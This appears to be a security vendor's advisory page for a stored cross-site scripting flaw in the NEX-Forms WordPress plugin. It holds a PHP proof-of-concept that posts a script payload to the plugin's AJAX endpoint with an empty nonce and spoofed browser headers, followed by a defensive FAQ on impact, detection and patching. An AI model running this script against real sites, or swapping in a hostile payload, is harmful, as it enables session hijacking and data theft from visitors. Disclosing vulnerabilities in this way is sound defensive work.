// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69324 - NEX-Forms <= 9.1.7 - Unauthenticated Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-69324
 * NEX-Forms WordPress Plugin Stored XSS Vulnerability
 * 
 * This script demonstrates the unauthenticated stored XSS vulnerability
 * by submitting a malicious payload to a vulnerable NEX-Forms endpoint.
 * 
 * WARNING: For authorized security testing only.
 */

// Configuration
$target_url = "http://vulnerable-site.com/wp-admin/admin-ajax.php"; // Change this to target site
$payload = "<script>alert('Atomic Edge XSS Test');</script>";

// Prepare the malicious form submission
$post_data = array(
    'action' => 'nex_forms_save_form', // Vulnerable AJAX action
    'form_id' => '1', // Target form ID
    'form_data' => json_encode(array(
        'fields' => array(
            array(
                'id' => '1',
                'type' => 'text',
                'label' => 'Test Field',
                'value' => $payload // Malicious payload
            )
        ),
        'settings' => array(
            'form_title' => 'XSS Test Form'
        )
    )),
    'nonce' => '' // Vulnerability allows bypassing nonce check
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "[+] Payload submitted successfullyn";
    echo "[+] Response: " . substr($response, 0, 200) . "...n";
    
    // Verify the payload was stored
    echo "[+] To verify, visit the form page and check if alert executesn";
    echo "[+] Vulnerable endpoint: $target_urln";
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2025-69324?
Overview of the vulnerability
CVE-2025-69324 is a high-severity vulnerability in the NEX-Forms plugin for WordPress, affecting versions up to and including 9.1.7. It allows unauthenticated attackers to exploit stored cross-site scripting (XSS) due to insufficient input sanitization and output escaping.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to inject arbitrary JavaScript payloads into form fields that are stored in the WordPress database. When a user accesses a page containing the compromised form, the injected script executes in their browser, potentially leading to session hijacking or data theft.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the NEX-Forms plugin version 9.1.7 or earlier is at risk. Site administrators should check their plugin version against the latest release to determine if they are affected.
How can I check if my site is vulnerable?
Version verification steps
To check if your site is vulnerable, log into your WordPress admin panel, navigate to the Plugins section, and look for the NEX-Forms plugin. Verify the version number; if it is 9.1.7 or earlier, your site is vulnerable.
What should I do to fix this vulnerability?
Updating the plugin
The recommended fix is to update the NEX-Forms plugin to version 9.1.8 or later, where the vulnerability has been patched. Regularly updating plugins is a best practice for maintaining site security.
What if I cannot update the plugin immediately?
Mitigation strategies
If immediate updating is not possible, consider disabling the NEX-Forms plugin until a patch can be applied. Additionally, review user permissions and restrict access to form submissions to reduce exposure.
What does the CVSS score of 7.2 indicate?
Understanding severity levels
A CVSS score of 7.2 indicates a high severity level, suggesting that successful exploitation could lead to significant consequences, including data theft and unauthorized actions on behalf of users.
What are the practical risks of this vulnerability?
Potential impact on users
Exploitation of this vulnerability can lead to session hijacking, unauthorized actions, and theft of sensitive information from users who visit the affected pages. Attackers can establish persistent backdoors or redirect users to malicious sites.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept illustrates how an attacker can submit a malicious payload via a vulnerable form endpoint. It shows the process of crafting a submission that includes JavaScript code, which would execute when a user accesses the compromised form.
What are the security best practices to follow?
Preventive measures
In addition to keeping plugins updated, regularly audit your WordPress installations for vulnerabilities, use security plugins to monitor for suspicious activities, and implement web application firewalls to filter out malicious requests.
What should I do if I suspect my site has been compromised?
Response to potential breaches
If you suspect a compromise, immediately disable the vulnerable plugin, conduct a thorough security audit, check for unauthorized changes, and consider restoring your site from a clean backup. Engage with a security professional if needed.
Where can I find more information about this vulnerability?
Additional resources
More information about CVE-2025-69324 can be found on the official CVE database, security advisories from the plugin developers, and security-focused websites that track vulnerabilities.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations